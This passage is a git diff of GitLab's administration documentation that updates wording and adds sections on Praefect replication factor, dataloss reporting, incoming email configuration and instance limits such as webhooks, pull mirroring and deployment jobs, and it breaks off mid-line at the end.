reconfigure ``` -1. Set the Grafana admin password. This command will prompt you to enter a new +1. Set the Grafana admin password. This command prompts you to enter a new password: ```shell @@ -966,7 +1005,7 @@ _Up to date_ in this context means that: - The last replication operation is in _completed_ state. If there is no such nodes, or any other error occurs during node selection, the primary -node will be chosen to serve the request. +node is chosen to serve the request. To track distribution of read operations, you can use the `gitaly_praefect_read_distribution` Prometheus counter metric. It has two labels: @@ -1032,6 +1071,55 @@ To monitor strong consistency, you can use the following Prometheus metrics: - `gitaly_hook_transaction_voting_delay_seconds`: Client-side delay introduced by waiting for the transaction to be committed. +## Replication factor + +Replication factor is the number of copies Praefect maintains of a given repository. A higher +replication factor offers better redundancy and distribution of read workload, but also results +in a higher storage cost. By default, Praefect replicates repositories to every storage in a +virtual storage. + +### Variable replication factor + +WARNING: +The feature is not production ready yet. After you set a replication factor, you can't unset it +without manually modifying database state. Variable replication factor requires you to enable +repository-specific primaries by configuring the `per_repository` primary election strategy. The election +strategy is not production ready yet. + +Praefect supports configuring a replication factor on a per-repository basis, by assigning +specific storage nodes to host a repository. + +[In an upcoming release](https://gitlab.com/gitlab-org/gitaly/-/issues/3362), we intend to +support configuring a default replication factor for a virtual storage. The default replication factor +is applied to every newly-created repository. + +Prafect does not store the actual replication factor, but assigns enough storages to host the repository +so the desired replication factor is met. If a storage node is later removed from the virtual storage, +the replication factor of repositories assigned to the storage is decreased accordingly. + +The only way to configure a repository's replication factor is the `set-replication-factor` +sub-command. `set-replication-factor` automatically assigns or unassigns random storage nodes as necessary to +reach the desired replication factor. The repository's primary node is always assigned +first and is never unassigned. + +```shell +sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage <virtual-storage> -repository <relative-path> -replication-factor <replication-factor> +``` + +- `-virtual-storage` is the virtual storage the repository is located in. +- `-repository` is the repository's relative path in the storage. +- `-replication-factor` is the desired replication factor of the repository. The minimum value is + `1`, as the primary needs a copy of the repository. The maximum replication factor is the number of + storages in the virtual storage. + +On success, the assigned host storages are printed. For example: + +```shell +$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage default -repository @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git -replication-factor 2 + +current assignments: gitaly-1, gitaly-2 +``` + ## Automatic failover and leader election Praefect regularly checks the health of each backend Gitaly node. This @@ -1040,9 +1128,9 @@ current primary node is found to be unhealthy. - **PostgreSQL (recommended):** Enabled by default, and equivalent to: `praefect['failover_election_strategy'] = sql`. This configuration - option will allow multiple Praefect nodes to coordinate via the + option allows multiple Praefect nodes to coordinate via the PostgreSQL database to elect a primary Gitaly node. This configuration - will cause Praefect nodes to elect a new primary, monitor its health, + causes Praefect nodes to elect a new primary, monitor its health, and elect a new primary if the current one has not been reachable in 10 seconds by a majority of the Praefect nodes. - **Memory:** Enabled by setting `praefect['failover_election_strategy'] = 'local'` @@ -1051,8 +1139,7 @@ current primary node is found to be unhealthy. be elected. **Do not use with multiple Praefect nodes!** Using with multiple Praefect nodes is likely to result in a split brain. -It is likely that we will implement support for Consul, and a cloud native -strategy in the future. +We are likely to implement support for Consul, and a cloud native, strategy in the future. ## Primary Node Failure @@ -1090,15 +1177,14 @@ useful for identifying potential data loss after a failover. The following param available: - `-virtual-storage` that specifies which virtual storage to check. The default behavior is to - display outdated replicas of read-only repositories as they generally require administrator - action. + display outdated replicas of read-only repositories as they might require administrator action. - In GitLab 13.3 and later, `-partially-replicated` that specifies whether to display a list of [outdated replicas of writable repositories](#outdated-replicas-of-writable-repositories). -NOTE: **Note:** +NOTE: `dataloss` is still in beta and the output format is subject to change. -To check for outdated replicas of read-only repositories, run: +To check for repositories with outdated primaries, run: ```shell sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>] @@ -1110,24 +1196,45 @@ Every configured virtual storage is checked if none is specified: sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss ``` -The number of potentially unapplied changes to repositories is listed for each replica. Listed -repositories might have the latest changes but it is not guaranteed. Only outdated replicas of -read-only repositories are listed by default. For example: +Repositories which have assigned storage nodes that contain an outdated copy of the repository are listed +in the output. A number of useful information is printed for each repository: + +- A repository's relative path to the storage directory identifies each repository and groups the related + information. +- The repository's current status is printed in parentheses next to the disk path. If the repository's primary + is outdated, the repository is in `read-only` mode and can't accept writes. Otherwise, the mode is `writable`. +- The primary field lists the repository's current primary. If the repository has no primary, the field shows + `No Primary`. +- The In-Sync Storages lists replicas which have replicated the latest successful write and all writes + preceding it. +- The Outdated Storages lists replicas which contain an outdated copy of the repository. Replicas which have no copy + of the repository but should contain it are also listed here. The maximum number of changes the replica is missing + is listed next to replica. It's important to notice that the outdated replicas may be fully up to date or contain + later changes but Praefect can't guarantee it. + +Whether a replica is assigned to host the repository is listed with each replica's status. `assigned host` is printed +next to replicas which are assigned to store the repository. The text is omitted if the replica contains a copy of +the repository but is not assigned to store the repository. Such replicas won't be kept in-sync by Praefect but may +act as replication sources to bring assigned replicas up to date. + +Example output: ```shell Virtual storage: default - Primary: gitaly-3 Outdated repositories: - @hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git (read-only): - gitaly-2 is behind by 1 change or less - gitaly-3 is behind by 2 changes or less + @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (read-only): + Primary: gitaly-1 + In-Sync Storages: + gitaly-2, assigned host + Outdated Storages: + gitaly-1 is behind by 3 changes or less, assigned host + gitaly-3 is behind by 3 changes or less ``` A confirmation is printed out when every repository is writable. For example: ```shell Virtual storage: default - Primary: gitaly-1 All repositories are writable! ``` @@ -1135,8 +1242,8 @@ Virtual storage: default > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3019) in GitLab 13.3. -To also list information for outdated replicas of writable repositories, use the -`-partially-replicated` parameter. +To also list information of repositories whose primary is up to date but one or more assigned +replicas are outdated, use the `-partially-replicated` flag. A repository is writable if the primary has the latest changes. Secondaries might be temporarily outdated while they are waiting to replicate the latest changes. @@ -1149,21 +1256,23 @@ Example output: ```shell Virtual storage: default - Primary: gitaly-3 Outdated repositories: - @hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git (read-only): - gitaly-2 is behind by 1 change or less - gitaly-3 is behind by 2 changes or less - @hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.git (writable): - gitaly-2 is behind by 1 change or less + @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (writable): + Primary: gitaly-1 + In-Sync Storages: + gitaly-1, assigned host + Outdated Storages: + gitaly-2 is behind by 3 changes or less, assigned host + gitaly-3 is behind by 3 changes or less ``` -With the `-partially-replicated` flag set, a confirmation is printed out if every replica is fully up to date. +With the `-partially-replicated` flag set, a confirmation is printed out if every assigned replica is fully up to +date. + For example: ```shell Virtual storage: default - Primary: gitaly-1 All repositories are up to date! ``` @@ -1193,7 +1302,7 @@ Praefect provides the following subcommands to re-enable writes: sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss -virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name> ``` -CAUTION: **Caution:** +WARNING: `accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data [recovery efforts](#data-recovery) must be performed before using it. @@ -1257,23 +1366,27 @@ Gitaly Cluster automatically. Repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md): +NOTE: +The Project repository storage moves API [cannot move all repository types](../../api/project_repository_storage_moves.md#limitations). + To move repositories to Gitaly Cluster: -1. [Schedule a move](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project) - for the first repository using the API. For example: +1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example: ```shell curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/projects/123/repository_storage_moves" + --data '{"source_storage_name":"gitaly","destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves" ``` -1. Using the ID that is returned, [query the repository move](../../api/project_repository_storage_moves.md#get-a-single-repository-storage-move-for-a-project) +1. [Query the most recent repository moves](../../api/project_repository_storage_moves.md#retrieve-all-project-repository-storage-moves) using the API. The query indicates either: - - The move has completed successfully. The `state` field is `finished`. - - The move is in progress. Re-query the repository move until it completes successfully. - - The move has failed. Most failures are temporary and are solved by rescheduling the move. + - The moves have completed successfully. The `state` field is `finished`. + - The moves are in progress. Re-query the repository move until it completes successfully. + - The moves have failed. Most failures are temporary and are solved by rescheduling the move. -1. Once the move is successful, repeat these steps for all repositories for your projects. +1. Once the moves are complete, [query projects](../../api/projects.md#list-all-projects) + using the API to confirm that all projects have moved. No projects should be returned + with `repository_storage` field set to the old storage. ## Debugging Praefect diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md index 53001b946d8..5a004d97220 100644 --- a/doc/administration/gitaly/reference.md +++ b/doc/administration/gitaly/reference.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -66,7 +66,7 @@ token = "the secret token" transitioning = true ``` -CAUTION: **Warning:** +WARNING: Remember to disable `transitioning` when you are done changing your token settings. @@ -75,7 +75,7 @@ the `gitaly_authentications_total` metric. ### TLS -Gitaly supports TLS encryption. You will need to bring your own certificates as +Gitaly supports TLS encryption. You need to bring your own certificates as this isn't provided automatically. | Name | Type | Required | Description | @@ -128,7 +128,7 @@ The following values can be set in the `[git]` section of the configuration file | Name | Type | Required | Description | | ---- | ---- | -------- | ----------- | -| `bin_path` | string | no | Path to Git binary. If not set, will be resolved using `PATH`. | +| `bin_path` | string | no | Path to Git binary. If not set, is resolved using `PATH`. | | `catfile_cache_size` | integer | no | Maximum number of cached [cat-file processes](#cat-file-cache). Default is `100`. | #### `cat-file` cache @@ -192,8 +192,8 @@ For historical reasons [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) contains the Git hooks that allow GitLab to validate and react to Git pushes. Because Gitaly "owns" Git pushes, GitLab Shell must therefore be -installed alongside Gitaly. This will be [simplified in the -future](https://gitlab.com/gitlab-org/gitaly/-/issues/1226). +installed alongside Gitaly. We plan to +[simplify this](https://gitlab.com/gitlab-org/gitaly/-/issues/1226). | Name | Type | Required | Description | | ---- | ---- | -------- | ----------- | @@ -238,9 +238,11 @@ The following values configure logging in Gitaly under the `[logging]` section. While the main Gitaly application logs go to `stdout`, there are some extra log files that go to a configured directory, like the GitLab Shell logs. -GitLab Shell does not support `panic` or `trace` level logs. `panic` will fall -back to `error`, while `trace` will fall back to `debug`. Any other invalid log -levels will default to `info`. +GitLab Shell does not support `panic` or `trace` level logs: + +- `panic` falls back to `error`. +- `trace` falls back to `debug`. +- Any other invalid log levels default to `info`. Example: diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md index c784c788b31..90d2f0d916d 100644 --- a/doc/administration/housekeeping.md +++ b/doc/administration/housekeeping.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Housekeeping diff --git a/doc/administration/img/audit_log.png b/doc/administration/img/audit_log.png Binary files differdeleted file mode 100644 index d4f4c2abf38..00000000000 --- a/doc/administration/img/audit_log.png +++ /dev/null diff --git a/doc/administration/img/audit_log_v13_6.png b/doc/administration/img/audit_log_v13_6.png Binary files differnew file mode 100644 index 00000000000..82ff3e9c87b --- /dev/null +++ b/doc/administration/img/audit_log_v13_6.png diff --git a/doc/administration/img/export_audit_log_v13_4.png b/doc/administration/img/export_audit_log_v13_4.png Binary files differdeleted file mode 100644 index e4ba330b8a9..00000000000 --- a/doc/administration/img/export_audit_log_v13_4.png +++ /dev/null diff --git a/doc/administration/img/kroki_c4_diagram.png b/doc/administration/img/kroki_c4_diagram.png Binary files differnew file mode 100644 index 00000000000..55520e9e129 --- /dev/null +++ b/doc/administration/img/kroki_c4_diagram.png diff --git a/doc/administration/img/kroki_graphviz_diagram.png b/doc/administration/img/kroki_graphviz_diagram.png Binary files differnew file mode 100644 index 00000000000..77b30b54e07 --- /dev/null +++ b/doc/administration/img/kroki_graphviz_diagram.png diff --git a/doc/administration/img/kroki_nomnoml_diagram.png b/doc/administration/img/kroki_nomnoml_diagram.png Binary files differnew file mode 100644 index 00000000000..9e54a245e5a --- /dev/null +++ b/doc/administration/img/kroki_nomnoml_diagram.png diff --git a/doc/administration/img/kroki_plantuml_diagram.png b/doc/administration/img/kroki_plantuml_diagram.png Binary files differnew file mode 100644 index 00000000000..5d3f0628dfc --- /dev/null +++ b/doc/administration/img/kroki_plantuml_diagram.png diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 20dce6d68df..7a49542f8bb 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Incoming email @@ -21,10 +21,9 @@ GitLab has several features based on receiving incoming emails: ## Requirements -NOTE: **Note:** -It is **not** recommended to use an email address that receives or will receive any +It is **not** recommended to use an email address that receives any messages not intended for the GitLab instance. Any incoming emails not intended -for GitLab will receive a reject notice. +for GitLab receive a reject notice. Handling incoming emails requires an [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-enabled email account. GitLab requires one of the following three strategies: @@ -38,14 +37,14 @@ Let's walk through each of these options. ### Email sub-addressing [Sub-addressing](https://en.wikipedia.org/wiki/Email_address#Sub-addressing) is -a mail server feature where any email to `user+arbitrary_tag@example.com` will end up +a mail server feature where any email to `user+arbitrary_tag@example.com` ends up in the mailbox for `user@example.com` . It is supported by providers such as Gmail, Google Apps, Yahoo! Mail, Outlook.com, and iCloud, as well as the [Postfix mail server](reply_by_email_postfix_setup.md), which you can run on-premises. Microsoft Exchange Server [does not support sub-addressing](#microsoft-exchange-server), and Microsoft Office 365 [does not support sub-addressing by default](#microsoft-office-365) -TIP: **Tip:** +NOTE: If your provider or server supports email sub-addressing, we recommend using it. A dedicated email address only supports Reply by Email functionality. A catch-all mailbox supports the same features as sub-addressing as of GitLab 11.7, @@ -86,7 +85,7 @@ To set up a basic Postfix mail server with IMAP access on Ubuntu, follow the ### Security concerns -CAUTION: **Caution:** +WARNING: Be careful when choosing the domain used for receiving incoming email. For example, suppose your top-level company domain is `hooli.com`. @@ -113,13 +112,13 @@ Alternatively, use a dedicated domain for GitLab email communications such as See GitLab issue [#30366](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30366) for a real-world example of this exploit. -CAUTION: **Caution:** +WARNING: Use a mail server that has been configured to reduce spam. A Postfix mail server that is running on a default configuration, for example, -can result in abuse. All messages received on the configured mailbox will be processed -and messages that are not intended for the GitLab instance will receive a reject notice. -If the sender's address is spoofed, the reject notice will be delivered to the spoofed +can result in abuse. All messages received on the configured mailbox are processed +and messages that are not intended for the GitLab instance receive a reject notice. +If the sender's address is spoofed, the reject notice is delivered to the spoofed `FROM` address, which can cause the mail server's IP or domain to appear on a block list. @@ -254,7 +253,7 @@ incoming_email: Example configuration for Gmail/G Suite. Assumes mailbox `gitlab-incoming@gmail.com`. -NOTE: **Note:** +NOTE: `incoming_email_email` cannot be a Gmail alias account. Example for Omnibus installs: @@ -443,7 +442,7 @@ Example configurations for Microsoft Office 365 with IMAP enabled. ##### Sub-addressing mailbox -NOTE: **Note:** +NOTE: As of September 2020 sub-addressing support [has been added to Office 365](https://office365.uservoice.com/forums/273493-office-365-admin/suggestions/18612754-support-for-dynamic-email-aliases-in-office-36). This feature is not enabled by default, and must be enabled through PowerShell. @@ -452,9 +451,9 @@ This series of PowerShell commands enables [sub-addressing](#email-sub-addressin at the organization level in Office 365. This allows all mailboxes in the organization to receive sub-addressed mail: -NOTE: **Note:** -This series of commands will enable sub-addressing at the organization -level in Office 365. This will allow all mailboxes in the organization +NOTE: +This series of commands enables sub-addressing at the organization +level in Office 365. This allows all mailboxes in the organization to receive sub-addressed mail. ```powershell diff --git a/doc/administration/index.md b/doc/administration/index.md index 0aa94b86371..32c0b1b0712 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +stage: Enablement +group: Distribution +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" description: 'Learn how to install, configure, update, and maintain your GitLab instance.' --- @@ -51,26 +51,40 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Global user settings](user_settings.md): Configure instance-wide user permissions. - [Polling](polling.md): Configure how often the GitLab UI polls for updates. - [GitLab Pages configuration](pages/index.md): Enable and configure GitLab Pages. -- [GitLab Pages configuration for GitLab source installations](pages/source.md): Enable and configure GitLab Pages on [source installations](../install/installation.md#installation-from-source). +- [GitLab Pages configuration for GitLab source installations](pages/source.md): + Enable and configure GitLab Pages on [source installations](../install/installation.md#installation-from-source). - [Uploads administration](uploads.md): Configure GitLab uploads storage. - [Environment variables](environment_variables.md): Supported environment variables that can be used to override their default values to configure GitLab. -- [Plugins](file_hooks.md): With custom plugins, GitLab administrators can introduce custom integrations without modifying GitLab's source code. +- [Plugins](file_hooks.md): With custom plugins, GitLab administrators can + introduce custom integrations without modifying GitLab source code. - [Enforcing Terms of Service](../user/admin_area/settings/terms.md) - [Third party offers](../user/admin_area/settings/third_party_offers.md) -- [Compliance](compliance.md): A collection of features from across the application that you may configure to help ensure that your GitLab instance and DevOps workflow meet compliance standards. -- [Diff limits](../user/admin_area/diff_limits.md): Configure the diff rendering size limits of branch comparison pages. -- [Merge request diffs storage](merge_request_diffs.md): Configure merge requests diffs external storage. -- [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages to GitLab users through the UI. -- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to empower GitLab's Advanced Search. Useful when you deal with a huge amount of data. **(STARTER ONLY)** -- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md) **(PREMIUM ONLY)** -- [Upload a license](../user/admin_area/license.md): Upload a license to unlock features that are in paid tiers of GitLab. **(STARTER ONLY)** -- [Admin Area](../user/admin_area/index.md): for self-managed instance-wide configuration and maintenance. -- [S/MIME Signing](smime_signing_email.md): how to sign all outgoing notification emails with S/MIME. -- [Enabling and disabling features flags](feature_flags.md): how to enable and disable GitLab features deployed behind feature flags. - -#### Customizing GitLab's appearance +- [Compliance](compliance.md): A collection of features from across the + application that you may configure to help ensure that your GitLab instance + and DevOps workflow meet compliance standards. +- [Diff limits](../user/admin_area/diff_limits.md): Configure the diff rendering + size limits of branch comparison pages. +- [Merge request diffs storage](merge_request_diffs.md): Configure merge + requests diffs external storage. +- [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages + to GitLab users through the UI. +- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to + empower Advanced Search. Useful when you deal with a huge amount of data. + **(STARTER ONLY)** +- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md) + **(PREMIUM ONLY)** +- [Upload a license](../user/admin_area/license.md): Upload a license to unlock + features that are in paid tiers of GitLab. **(STARTER ONLY)** +- [Admin Area](../user/admin_area/index.md): for self-managed instance-wide + configuration and maintenance. +- [S/MIME Signing](smime_signing_email.md): how to sign all outgoing notification + emails with S/MIME. +- [Enabling and disabling features flags](feature_flags.md): how to enable and + disable GitLab features deployed behind feature flags. + +#### Customizing GitLab appearance - [Header logo](../user/admin_area/appearance.md#navigation-bar): Change the logo on all pages and email headers. - [Favicon](../user/admin_area/appearance.md#favicon): Change the default favicon to your own logo. @@ -104,7 +118,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Mattermost](https://docs.gitlab.com/omnibus/gitlab-mattermost/): Integrate with [Mattermost](https://mattermost.com), an open source, private cloud workplace for web messaging. - [PlantUML](integration/plantuml.md): Create simple diagrams in AsciiDoc and Markdown documents created in snippets, wikis, and repositories. -- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from within GitLab's CI/CD [environments](../ci/environments/index.md#web-terminals). +- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from within GitLab CI/CD [environments](../ci/environments/index.md#web-terminals). ## User settings and permissions @@ -118,7 +132,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - See also other [authentication](../topics/authentication/index.md#gitlab-administrators) topics (for example, enforcing 2FA). - [Email users](../tools/email.md): Email GitLab users from within GitLab. **(STARTER ONLY)** - [User Cohorts](../user/admin_area/analytics/user_cohorts.md): Display the monthly cohorts of new users and their activities over time. -- [Audit logs and events](audit_events.md): View the changes made within the GitLab server for: +- [Audit events](audit_events.md): View the changes made within the GitLab server for: - Groups and projects. **(STARTER)** - Instances. **(PREMIUM ONLY)** - [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance. **(PREMIUM ONLY)** @@ -134,8 +148,8 @@ Learn how to install, configure, update, and maintain your GitLab instance. ## Project settings - [Issue closing pattern](issue_closing_pattern.md): Customize how to close an issue from commit messages. -- [Gitaly](gitaly/index.md): Configuring Gitaly, GitLab's Git repository storage service. -- [Default labels](../user/admin_area/labels.md): Create labels that will be automatically added to every new project. +- [Gitaly](gitaly/index.md): Configuring Gitaly, the Git repository storage service for GitLab. +- [Default labels](../user/admin_area/labels.md): Create labels that are automatically added to every new project. - [Restrict the use of public or internal projects](../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects): Restrict the use of visibility levels for users when they create a project or a snippet. - [Custom project templates](../user/admin_area/custom_project_templates.md): Configure a set of projects to be used as custom templates when creating a new project. **(PREMIUM ONLY)** @@ -186,7 +200,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Monitoring GitLab](monitoring/index.md): - [Monitoring uptime](../user/admin_area/monitoring/health_check.md): Check the server status using the health check endpoint. - [IP whitelist](monitoring/ip_whitelist.md): Monitor endpoints that provide health check information when probed. - - [Monitoring GitHub imports](monitoring/github_imports.md): GitLab's GitHub Importer displays Prometheus metrics to monitor the health and progress of the importer. + - [Monitoring GitHub imports](monitoring/github_imports.md): The GitLab GitHub Importer displays Prometheus metrics to monitor the health and progress of the importer. ### Performance Monitoring @@ -199,7 +213,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ## Analytics -- [Pseudonymizer](pseudonymizer.md): Export data from GitLab's database to CSV files in a secure way. **(ULTIMATE)** +- [Pseudonymizer](pseudonymizer.md): Export data from a GitLab database to CSV files in a secure way. **(ULTIMATE)** ## Troubleshooting @@ -219,7 +233,7 @@ information useful for troubleshooting, but if you are experiencing trouble with GitLab instance, you should check your [support options](https://about.gitlab.com/support/) before referring to these documents. -CAUTION: **Warning:** +WARNING: Using the commands listed in the documentation below could result in data loss or other damage to a GitLab instance, and should only be used by experienced administrators who are aware of the risks. diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index ec56a59fdc2..0eede5f3ca5 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Enablement +group: Distribution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -165,7 +165,7 @@ There is a limit when embedding metrics in GFM for performance reasons. On GitLab.com, the [maximum number of webhooks and their size](../user/gitlab_com/index.md#webhooks) per project, and per group, is limited. -To set this limit on a self-managed installation, run the following in the +To set this limit on a self-managed installation, where the default is `100` project webhooks and `50` group webhooks, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): ```ruby @@ -173,7 +173,7 @@ To set this limit on a self-managed installation, run the following in the # Plan.default.create_limits! # For project webhooks -Plan.default.actual_limits.update!(project_hooks: 100) +Plan.default.actual_limits.update!(project_hooks: 200) # For group webhooks Plan.default.actual_limits.update!(group_hooks: 100) @@ -181,6 +181,23 @@ Plan.default.actual_limits.update!(group_hooks: 100) Set the limit to `0` to disable it. +## Pull Mirroring Interval + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/237891) in GitLab 13.7. + +The [minimum time between pull refreshes](../user/project/repository/repository_mirroring.md) +defaults to 300 seconds (5 minutes). + +To change this limit on a self-managed installation, run the following in the +[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): + +```ruby +# If limits don't exist for the default plan, you can create one with: +# Plan.default.create_limits! + +Plan.default.actual_limits.update!(pull_mirror_interval_seconds: 200) +``` + ## Incoming emails from auto-responders > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30327) in GitLab 12.4. @@ -235,8 +252,8 @@ If a new pipeline would cause the total number of jobs to exceed the limit, the will fail with a `job_activity_limit_exceeded` error. - On GitLab.com different [limits are defined per plan](../user/gitlab_com/index.md#gitlab-cicd) and they affect all projects under that plan. -- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined for the `default` plan that affects all projects. - This limit is disabled by default. +- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined under a `default` plan that affects all projects. + This limit is disabled (`0`) by default. To set this limit on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): @@ -250,6 +267,29 @@ Plan.default.actual_limits.update!(ci_active_jobs: 500) Set the limit to `0` to disable it. +### Maximum number of deployment jobs in a pipeline + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46931) in GitLab 13.7. + +You can limit the maximum number of deployment jobs in a pipeline. A deployment is +any job with an [`environment`](../ci/environments/index.md) specified. The number +of deployments in a pipeline is checked at pipeline creation. Pipelines that have +too many deployments fail with a `deployments_limit_exceeded` error. + +The default limit is 500 for all [self-managed and GitLab.com plans](https://about.gitlab.com/pricing/). + +To change the limit on a self-managed installation, change the `default` plan's limit with the following +[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session) command: + +```ruby +# If limits don't exist for the default plan, you can create one with: +# Plan.default.create_limits! + +Plan.default.actual_limits.update!(ci_pipeline_deployments: 500) +``` + +Set the limit to `0` to disable it. + ### Number of CI/CD subscriptions to a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab 12.9. @@ -261,7 +301,7 @@ If a new subscription would cause the total number of subscription to exceed the limit, the subscription will be considered invalid. - On GitLab.com different [limits are defined per plan](../user/gitlab_com/index.md#gitlab-cicd) and they affect all projects under that plan. -- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined for the `default` plan that affects all projects. +- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined under a `default` plan that affects all projects. By default, there is a limit of `2` subscriptions. To set this limit on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): @@ -285,8 +325,8 @@ On GitLab.com, different limits are [defined per plan](../user/gitlab_com/index. and they affect all projects under that plan. On self-managed instances ([GitLab Starter](https://about.gitlab.com/pricing/#self-managed) -or higher tiers), this limit is defined for the `default` plan that affects all -projects. By default, there is no limit. +or higher tiers), this limit is defined under a `default` plan that affects all +projects. By default, there is a limit of `10` pipeline schedules. To set this limit on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): @@ -459,8 +499,8 @@ as the overall index size. This value defaults to `1024 KiB` (1 MiB) as any text files larger than this likely aren't meant to be read by humans. You must set a limit, as unlimited file sizes aren't supported. Setting this -value to be greater than the amount of memory on GitLab's Sidekiq nodes causes -GitLab's Sidekiq nodes to run out of memory, as they will pre-allocate this +value to be greater than the amount of memory on GitLab Sidekiq nodes causes +the GitLab Sidekiq nodes to run out of memory, as they will pre-allocate this amount of memory during indexing. ### Maximum field length @@ -527,12 +567,12 @@ More information can be found in the [Push event activities limit and bulk push On GitLab.com, the maximum file size for a package that's uploaded to the [GitLab Package Registry](../user/packages/package_registry/index.md) varies by format: -- Conan: 3GB +- Conan: 5GB - Generic: 5GB -- Maven: 3GB -- NPM: 500MB -- NuGet: 500MB -- PyPI: 3GB +- Maven: 5GB +- NPM: 5GB +- NuGet: 5GB +- PyPI: 5GB To set this limit on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): diff --git a/doc/administration/instance_review.md b/doc/administration/instance_review.md index b00586b281b..8f33ddf3ca5 100644 --- a/doc/administration/instance_review.md +++ 